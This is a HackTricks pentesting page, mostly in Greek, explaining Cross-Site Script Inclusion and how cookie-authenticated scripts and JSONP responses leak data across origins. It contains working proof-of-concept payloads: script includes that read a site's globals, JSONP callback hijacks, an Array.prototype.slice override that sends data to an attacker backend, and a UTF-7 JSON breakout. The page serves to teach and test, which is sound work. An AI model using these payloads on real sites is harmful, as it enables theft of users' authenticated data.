XSSI (Cross-Site Script Inclusion)

Support HackTricks

Basic Information

Cross-Site Script Inclusion (XSSI) είναι μια ευπάθεια που προκύπτει από τη φύση της ετικέτας script στο HTML. Σε αντίθεση με τους περισσότερους πόρους, οι οποίοι υπόκεινται στην Same-Origin Policy (SOP), τα σενάρια μπορούν να συμπεριληφθούν από διαφορετικά domains. Αυτή η συμπεριφορά προορίζεται να διευκολύνει τη χρήση βιβλιοθηκών και άλλων πόρων που φιλοξενούνται σε διαφορετικούς διακομιστές, αλλά εισάγει επίσης έναν πιθανό κίνδυνο ασφάλειας.

Key Characteristics of XSSI:

  • Bypass of SOP: Τα σενάρια εξαιρούνται από την Same-Origin Policy, επιτρέποντάς τους να συμπεριλαμβάνονται σε διαφορετικά domains.

  • Data Exposure: Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτή τη συμπεριφορά για να διαβάσει δεδομένα που φορτώνονται μέσω της ετικέτας script.

  • Impact on Dynamic JavaScript/JSONP: XSSI είναι ιδιαίτερα σχετικό για δυναμικό JavaScript ή JSON with Padding (JSONP). Αυτές οι τεχνολογίες συχνά χρησιμοποιούν πληροφορίες "ambient-authority" (όπως cookies) για την αυθεντικοποίηση. Όταν γίνεται αίτημα σενάριου σε διαφορετικό host, αυτά τα διαπιστευτήρια (π.χ. cookies) περιλαμβάνονται αυτόματα στο αίτημα.

  • Authentication Token Leakage: Εάν ένας επιτιθέμενος μπορεί να παραπλανήσει τον περιηγητή ενός χρήστη να ζητήσει ένα σενάριο από έναν διακομιστή που ελέγχει, μπορεί να έχει πρόσβαση σε ευαίσθητες πληροφορίες που περιέχονται σε αυτά τα αιτήματα.

Types

  1. Static JavaScript - Αυτό αντιπροσωπεύει τη συμβατική μορφή του XSSI.

  2. Static JavaScript with Authentication - Αυτός ο τύπος είναι ξεχωριστός επειδή απαιτεί αυθεντικοποίηση για πρόσβαση.

  3. Dynamic JavaScript - Περιλαμβάνει JavaScript που δημιουργεί δυναμικά περιεχόμενο.

  4. Non-JavaScript - Αναφέρεται σε ευπάθειες που δεν περιλαμβάνουν άμεσα JavaScript.

The following information is a sumary of https://www.scip.ch/en/?labs.20160414. Check it for further details.

Regular XSSI

Σε αυτή την προσέγγιση, ιδιωτικές πληροφορίες είναι ενσωματωμένες μέσα σε ένα παγκοσμίως προσβάσιμο αρχείο JavaScript. Οι επιτιθέμενοι μπορούν να εντοπίσουν αυτά τα αρχεία χρησιμοποιώντας μεθόδους όπως η ανάγνωση αρχείων, οι αναζητήσεις λέξεων-κλειδιών ή οι κανονικές εκφράσεις. Μόλις εντοπιστούν, το σενάριο που περιέχει ιδιωτικές πληροφορίες μπορεί να συμπεριληφθεί σε κακόβουλο περιεχόμενο, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε ευαίσθητα δεδομένα. Ένα παράδειγμα τεχνικής εκμετάλλευσης φαίνεται παρακάτω:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI

Αυτοί οι τύποι επιθέσεων XSSI περιλαμβάνουν εμπιστευτικές πληροφορίες που προστίθενται δυναμικά στο σενάριο ως απάντηση σε αίτημα χρήστη. Η ανίχνευση μπορεί να πραγματοποιηθεί στέλνοντας αιτήματα με και χωρίς cookies και συγκρίνοντας τις απαντήσεις. Εάν οι πληροφορίες διαφέρουν, αυτό μπορεί να υποδηλώνει την παρουσία εμπιστευτικών πληροφοριών. Αυτή η διαδικασία μπορεί να αυτοματοποιηθεί χρησιμοποιώντας εργαλεία όπως το DetectDynamicJS Burp extension.

Εάν τα εμπιστευτικά δεδομένα αποθηκεύονται σε μια παγκόσμια μεταβλητή, μπορούν να εκμεταλλευτούν χρησιμοποιώντας παρόμοιες μεθόδους με αυτές που χρησιμοποιούνται στο Regular XSSI. Ωστόσο, εάν τα εμπιστευτικά δεδομένα περιλαμβάνονται σε μια απάντηση JSONP, οι επιτιθέμενοι μπορούν να καταλάβουν τη συνάρτηση callback για να ανακτήσουν τις πληροφορίες. Αυτό μπορεί να γίνει είτε με την παραποίηση παγκόσμιων αντικειμένων είτε με την εγκατάσταση μιας συνάρτησης που θα εκτελείται από την απάντηση JSONP, όπως φαίνεται παρακάτω:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Για μεταβλητές που δεν βρίσκονται στο παγκόσμιο namespace, η τροποποίηση πρωτοτύπου μπορεί μερικές φορές να εκμεταλλευτεί. Αυτή η τεχνική εκμεταλλεύεται το σχεδιασμό της JavaScript, όπου η ερμηνεία του κώδικα περιλαμβάνει την περιήγηση στην αλυσίδα πρωτοτύπων για να εντοπιστεί η καλούμενη ιδιότητα. Με την αντικατάσταση ορισμένων συναρτήσεων, όπως το slice του Array, οι επιτιθέμενοι μπορούν να αποκτήσουν πρόσβαση και να διαρρεύσουν μη παγκόσμιες μεταβλητές:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Περισσότερες λεπτομέρειες σχετικά με τα επιθετικά διανύσματα μπορούν να βρεθούν στο έργο του Ερευνητή Ασφαλείας Sebastian Lekies, ο οποίος διατηρεί μια λίστα με διανύσματα.

Non-Script-XSSI

Η έρευνα του Takeshi Terada εισάγει μια άλλη μορφή XSSI, όπου τα αρχεία Non-Script, όπως το CSV, διαρρέουν διασυνοριακά περιλαμβάνοντας τα ως πηγές σε μια ετικέτα script. Ιστορικές περιπτώσεις XSSI, όπως η επίθεση του Jeremiah Grossman το 2006 για την ανάγνωση ενός πλήρους βιβλίου διευθύνσεων Google και η διαρροή δεδομένων JSON του Joe Walker το 2007, αναδεικνύουν τη σοβαρότητα αυτών των απειλών. Επιπλέον, ο Gareth Heyes περιγράφει μια παραλλαγή επίθεσης που περιλαμβάνει κωδικοποιημένα σε UTF-7 JSON για να ξεφύγει από τη μορφή JSON και να εκτελέσει σενάρια, αποτελεσματική σε ορισμένους περιηγητές:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
Υποστήριξη HackTricks

Last updated